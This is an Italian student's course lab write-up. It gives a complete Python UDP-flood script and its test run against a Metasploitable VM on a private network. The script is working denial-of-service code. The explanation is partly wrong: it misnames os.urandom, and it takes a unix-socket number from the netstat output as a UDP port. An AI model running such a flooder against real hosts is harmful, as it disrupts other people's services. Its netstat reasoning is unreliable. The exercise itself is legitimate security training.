

## ESERCIZIO DEL GIORNO – PRATICA S6/L3

**TRACCIA:** Scrivere un programma in Python che simuli un UDP flood, ovvero l'invio massivo di richieste UDP verso una macchina target che è in ascolto su una porta UDP casuale.

### REQUISITI DEL PROGRAMMA:

**Input dell'IP Target:** Il programma deve richiedere all'utente di inserire l'IP della macchina target.

**Input della Porta Target:** Il programma deve richiedere all'utente di inserire la porta UDP della macchina target.

**Costruzione del Pacchetto:** La grandezza dei pacchetti da inviare deve essere di 1 KB per pacchetto.

**Suggerimento:** per costruire il pacchetto da 1 KB, potete utilizzare il modulo random per la generazione di byte casuali.

**Numero di Pacchetti da Inviare:** Il programma deve chiedere all'utente quanti pacchetti da 1 KB inviare.

## SCRITTURA DEL CODICE PYTHON:

```
francesco@kali: ~
File Actions Edit View Help
GNU nano 8.2 attaccodos.py *
import socket
import os

# Funzione per generare pacchetti casuali di 1 KB
def generate_random_data(size=1024):
    """
    Genera dati casuali della dimensione specificata (default 1024 byte, ovvero 1 KB).
    """
    return os.urandom(size)

# Funzione per inviare pacchetti UDP
def send_udp_flood(target_ip, target_port, packet_count):
    """
    Invia pacchetti UDP casuali alla macchina di destinazione.
    :param target_ip: L'indirizzo IP del target (come stringa).
    :param target_port: La porta UDP del target (come intero).
    :param packet_count: Numero di pacchetti da inviare (come intero).
    """
    # Crea un socket UDP
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

    # Crea un pacchetto casuale di 1 KB
    packet = generate_random_data(1024) # 1 KB di dati casuali

    print(f"Inizio invio di {packet_count} pacchetti UDP a {target_ip}:{target_port} ...")

    # Invia i pacchetti
    for _ in range(packet_count):
        sock.sendto(packet, (target_ip, target_port))

    print(f"Invio completato. {packet_count} pacchetti inviati.")

    # Chiudi il socket
    sock.close()
```

### Analisi del codice:

Utilizziamo import **socket** e import **os**: la **prima** libreria è necessaria per la comunicazione di rete in python, la utilizziamo per creare un **socket UDP** e per inviare pacchetti di dati.

La seconda libreria **os** viene utilizzata per interagire con il sistema operativo, in questo caso per generare dati casuali (os.urandom).

**Generate\_random\_data(size=1024):** è la funzione che genera dati casuali di una determinata dimensione.

**Os.random(size):** utilizziamo os.random per ottenere size byte di dati casuali.

La funzione è stata impostata per generare 1024byte di dati (1KB).

**Funzione send\_udp\_flood** (target\_ip, target\_port, packet\_count):

Come si può intuire, questa funzione **invia** una serie di **pacchetti udp** casuali a una macchina di destinazione, il target ip, target port e packet count sono dati chiesti all'utente.

```
if __name__ == "__main__":  
    # Chiedi all'utente di inserire l'IP e la porta del target  
    target_ip = input("Inserisci l'IP del target: ")  
    target_port = int(input("Inserisci la porta UDP del target: "))  
    packet_count = int(input("Quanti pacchetti (1 KB) vuoi inviare? "))  
    # Esegui l'invio dei pacchetti  
    send_udp_flood(target_ip, target_port, packet_count)
```

Una volta concluso il codice e verificato che non ci siano errori, possiamo fare una prova di funzionamento utilizzando come target la VM Metasploitable.

Il programma ci chiederà l'IP del target, il numero della porta ed il numero di pacchetti da inviare.

Quindi apro metasploitable e per essere sicuri utilizzo **ifconfig** per l'indirizzo IP e il comando **netstat -anu** (dove **-a**: Mostra tutte le connessioni e le porte in ascolto.

**-n**: Mostra gli indirizzi IP e le porte numeriche invece dei nomi simbolici.

**-u**: Limita la ricerca alle porte UDP.)

Questo comando, quindi, mostrerà un elenco delle porte UDP attualmente in ascolto su Metasploitable.

```
Metasploitable2
unix 3      [ ]      STREAM  CONNECTED  12611
unix 3      [ ]      STREAM  CONNECTED  12608
unix 3      [ ]      STREAM  CONNECTED  12607
unix 3      [ ]      STREAM  CONNECTED  12604
unix 3      [ ]      STREAM  CONNECTED  12603
unix 3      [ ]      STREAM  CONNECTED  12600
unix 3      [ ]      STREAM  CONNECTED  12599
unix 3      [ ]      STREAM  CONNECTED  12596
unix 3      [ ]      STREAM  CONNECTED  12595
unix 3      [ ]      STREAM  CONNECTED  12592
unix 3      [ ]      STREAM  CONNECTED  12591
unix 3      [ ]      STREAM  CONNECTED  12589
unix 3      [ ]      STREAM  CONNECTED  12588
unix 3      [ ]      STREAM  CONNECTED  12585
unix 3      [ ]      STREAM  CONNECTED  12584
unix 3      [ ]      STREAM  CONNECTED  12582
unix 3      [ ]      STREAM  CONNECTED  12581
unix 2      [ ]      DGRAM   12563
unix 2      [ ]      DGRAM   12275
unix 2      [ ]      DGRAM   11998
unix 2      [ ]      DGRAM   11795
unix 2      [ ]      DGRAM   11765
unix 3      [ ]      STREAM  CONNECTED  11006
unix 3      [ ]      STREAM  CONNECTED  11005
msfadmin@metasploitable:~$
```

Scelgo una porta come target e proseguo con l'esecuzione del programma su Kali Linux.

```
Kali Linux
File Actions Edit View Help
zsh: corrupt history file /home/francesco/.zsh_history
(francesco@kali)-[~]
$ python attaccodos.py
Inserisci l'IP del target: 192.168.1.11
Inserisci la porta UDP del target: 11005
Quanti pacchetti (1 KB) vuoi inviare? 20
Inizio invio di 20 pacchetti UDP a 192.168.1.11:11005 ...
Invio completato. 20 pacchetti inviati.
(francesco@kali)-[~]
$
```

Come possiamo vedere, il programma sembra funzionare correttamente.

Per prima cosa chiede all'utente di inserire l'IP del target, la porta UDP ed il numero dei pacchetti che vogliamo inviare.

Alla fine mostra anche un messaggio con scritto invio completato ed accanto il numero di pacchetti inviati.